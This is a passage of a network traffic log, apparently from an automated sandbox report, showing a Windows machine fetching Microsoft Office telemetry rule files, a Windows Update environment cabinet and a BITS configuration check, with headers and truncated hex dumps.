2024-12-02 06:37:32 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-02 06:37:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063732Z-174f7845968kvnqxhC1EWRmf3g0000000qv00000000074dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f2f6d8ae-201e-0096-414e-41ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063732Z-174f7845968glpgnhC1EWR7uec000000145g00000000ads7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:32 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 390b1506-101e-0017-0101-4247c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063732Z-174f7845968glpgnhC1EWR7uec000000149g000000001f9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:32 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:32 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063732Z-174f7845968ljs8phC1EWRe6en00000013wg000000006y3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:32 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:32 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 9832b288-801e-002a-5afe-4131dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063732Z-174f7845968qj8jrhC1EWRh41s00000013wg00000000fh6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49760	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5syat1Zu8ocbdEw&MD=TM45XRFd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-02 06:37:34 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b0d7f08f-08a7-497b-9169-5228ade24d70 MS-RequestId: 09884d7c-70d2-4123-9222-79c510cb7cc2 MS-CV: c4UTUrI3BUSWqCqM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 02 Dec 2024 06:37:34 GMT Connection: close Content-Length: 24490
2024-12-02 06:37:34 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-02 06:37:34 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063734Z-174f7845968kdththC1EWRzvxn0000000gc0000000008511 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:35 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:34 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 13e6cbbb-001e-005a-04a3-43c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063734Z-174f7845968kdththC1EWRzvxn0000000gbg000000009e9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 26935917-f01e-0003-011b-414453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063735Z-174f78459684bddphC1EWRbht400000013sg000000007ry1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 490736a9-701e-0097-7e01-42b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063735Z-174f7845968pf68xhC1EWRr4h800000014b0000000003p0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:34 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:35 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 203bed18-201e-006e-51a9-42bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063735Z-174f7845968frfdmhC1EWRxxbw00000014200000000090nd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:35 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49775	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:36 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
